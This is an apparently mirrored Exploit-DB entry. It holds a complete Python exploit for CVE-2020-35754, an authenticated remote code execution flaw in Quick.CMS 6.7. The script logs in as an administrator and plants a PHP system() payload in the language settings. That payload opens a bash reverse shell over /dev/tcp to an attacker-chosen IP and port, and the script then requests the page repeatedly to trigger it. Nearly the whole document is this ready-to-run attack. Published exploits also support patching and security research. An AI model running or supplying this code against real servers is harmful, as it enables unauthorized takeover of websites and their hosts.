Quick.CMS 6.7 – Remote Code Execution (Authenticated) - 体验盒子

作者： mari0x00

日期： 2021-01-29

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/49494/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

# Exploit Title: Quick.CMS 6.7 - Remote Code Execution (Authenticated)

# Date: 2020-12-28

# Exploit Author: mari0x00

# Vendor Homepage: https://opensolution.org/

# Software Link: https://opensolution.org/download/?sFile=Quick.Cms_v6.7-pl.zip

# Description: https://secator.pl/index.php/2021/01/28/cve-2020-35754-authenticated-rce-in-quick-cms-and-quick-cart/

# Version: <= 6.7

# CVE : CVE-2020-35754

#!/usr/bin/python3

import requests

import sys

from termcolor import colored

from time import sleep

print(colored('''###########################################################''',"red"))

print(colored('''######Quick.CMS authenticated RCE by mari0x00 #######''',"red"))

print(colored('''###########################################################''',"red"))

print("")

if len(sys.argv) != 6:

print((colored("[~] Usage : python3 quickpwn.py <url> <username> <password> <IP> <PORT>","red")))

print((colored("[~] Example: python3 quickpwn.py http://192.168.101.105/quick.cms/ john@example.com pass123 192.168.101.101 4444","red")))

exit()

url = sys.argv[1]

username = sys.argv[2]

password = sys.argv[3]

IP = sys.argv[4]

PORT = sys.argv[5]

#Start session

s = requests.Session()

headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'}

#Authenticate

print((colored("[+] Attempting user login","blue")))

login_data = {

"sEmail": username,

"sPass": password,

"bAcceptLicense": "1",

"iAcceptLicense": "true"

}

login = s.post(url+"admin.php?p=login", login_data, headers=headers)

sleep(0.5)

#Exploit

print((colored("[+] Adding shell command","blue")))

payload = "Back end\\\"; system('/bin/bash -c \\'bash -i >& /dev/tcp/" + IP + "/" + PORT + " 0>&1\\''); //"

shell = {

"sOption": "save",

"Back_end_only": payload

}

exploit = s.post(url+"admin.php?p=languages&sLangEdit=en", shell, headers=headers)

sleep(1)

#Triggering reverse shell (three times just in case)

print("")

print((colored("[+] Triggering the shell. Go nuts!","green")))

r = s.get(url+"admin.php?p=languages", headers=headers)

sleep(1)

r = s.get(url+"admin.php?p=languages", headers=headers)

sleep(1)

r = s.get(url+"admin.php?p=languages", headers=headers)